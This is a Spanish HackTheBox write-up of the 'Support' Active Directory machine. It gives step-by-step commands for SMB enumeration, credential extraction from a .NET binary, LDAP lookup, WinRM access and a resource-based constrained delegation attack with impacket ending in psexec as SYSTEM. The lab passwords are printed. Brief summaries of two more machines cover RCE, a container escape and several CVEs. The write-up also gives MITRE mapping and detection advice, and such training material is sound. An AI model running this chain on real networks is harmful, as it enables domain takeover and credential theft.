Support
Enumeración de SMB anónimo para extraer credenciales en un binario .NET, movimiento lateral vía LDAP y escalada de privilegios abusando de Resource-Based Constrained Delegation sobre un DC de Active Directory.
View on HackTheBoxResumen
Support es una máquina Windows de dificultad media centrada en Active Directory. La cadena de explotación cubre enumeración de SMB sin autenticación, ingeniería inversa de un binario .NET para extraer credenciales hardcodeadas, enumeración LDAP con esas credenciales, y escalada final mediante Resource-Based Constrained Delegation (RBCD) para obtener un ticket de servicio como Administrator.
Reconocimiento
Nmap
nmap -sC -sV -oN nmap/initial 10.10.11.174
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap
3269/tcp open tcpwrapped
Perfil típico de Domain Controller: DNS, Kerberos, LDAP, SMB.
Enumeración SMB
smbclient -L //10.10.11.174 -N
Acceso anónimo disponible. Listamos shares:
support-tools Disk Herramientas de soporte
IPC$ IPC IPC remota
Descargamos todo el contenido de support-tools:
smbclient //10.10.11.174/support-tools -N -c 'recurse ON; prompt OFF; mget *'
Entre los archivos hay un binario llamado UserInfo.exe.
Análisis del binario .NET
file UserInfo.exe
# PE32 executable (console) Intel 80386 Mono/.Net assembly
Lo abrimos con dnSpy o ILSpy. En la clase LdapQuery encontramos:
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76oyQ=";
private static byte[] key = { ... };
public static string getPassword() {
byte[] enc = Convert.FromBase64String(enc_password);
// XOR con key + "armando"
...
}
Extraemos la contraseña real: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.
Enumeración LDAP
Con las credenciales support\ldap / nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz:
ldapsearch -x -H ldap://10.10.11.174 \
-D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b 'DC=support,DC=htb' '(objectClass=user)' info
El campo info del usuario support contiene la contraseña:
Ironside47pleasure40Watchful
Acceso inicial — WinRM
evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
Flag de usuario obtenida.
Escalada de privilegios — RBCD
BloodHound
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \
-d support.htb -ns 10.10.11.174 -c All
BloodHound revela que el grupo Shared Support Accounts (del que es miembro support) tiene el permiso GenericAll sobre el objeto del Domain Controller (DC.SUPPORT.HTB).
Ataque RBCD
1. Creamos un equipo falso en el dominio:
impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' \
-computer-name FAKEMACHINE$ -computer-pass 'FakePass123!'
2. Configuramos RBCD — delegamos desde FAKEMACHINE$ hacia el DC:
impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' \
-delegate-from 'FAKEMACHINE$' -delegate-to 'DC$' -action write
3. Pedimos un ticket de servicio como Administrator:
impacket-getST support.htb/FAKEMACHINE$:'FakePass123!' \
-spn cifs/dc.support.htb -impersonate Administrator
4. Pass-the-ticket y acceso como SYSTEM:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc.support.htb
Flag de root obtenida.
Lecciones
| Técnica | MITRE ATT&CK |
|---|---|
| SMB Anonymous Enumeration | T1135 |
| Credential Discovery in Binary | T1552.001 |
| LDAP Enumeration | T1069.002 |
| Resource-Based Constrained Delegation | T1558.001 |
Detección: Monitorizar creaciones de objetos de equipo por usuarios no privilegiados (Event ID 4741) y modificaciones al atributo msDS-AllowedToActOnBehalfOfOtherIdentity (Event ID 5136).
Keep hacking.
Conversor
Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.
GiveBack
Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).